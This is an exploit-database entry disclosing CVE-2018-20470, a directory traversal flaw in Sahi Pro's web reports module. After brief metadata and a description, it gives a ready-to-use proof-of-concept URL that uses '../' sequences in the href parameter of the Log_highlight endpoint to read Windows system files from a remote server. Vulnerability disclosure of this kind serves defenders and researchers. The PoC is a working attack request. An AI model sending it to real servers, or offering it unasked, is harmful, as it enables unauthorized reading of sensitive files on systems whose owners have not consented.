Sahi pro 7.x/8.x - Directory Traversal

Author: Goutham Madhwaraj
type: webapps
platform: multiple
port: 
date_added: 2019-06-18 
date_updated: 2019-06-18 
verified: 0 
codes: CVE-2018-20470 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Sahi pro ( <= 8.x ) Directory traversal
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20470


Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.

POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected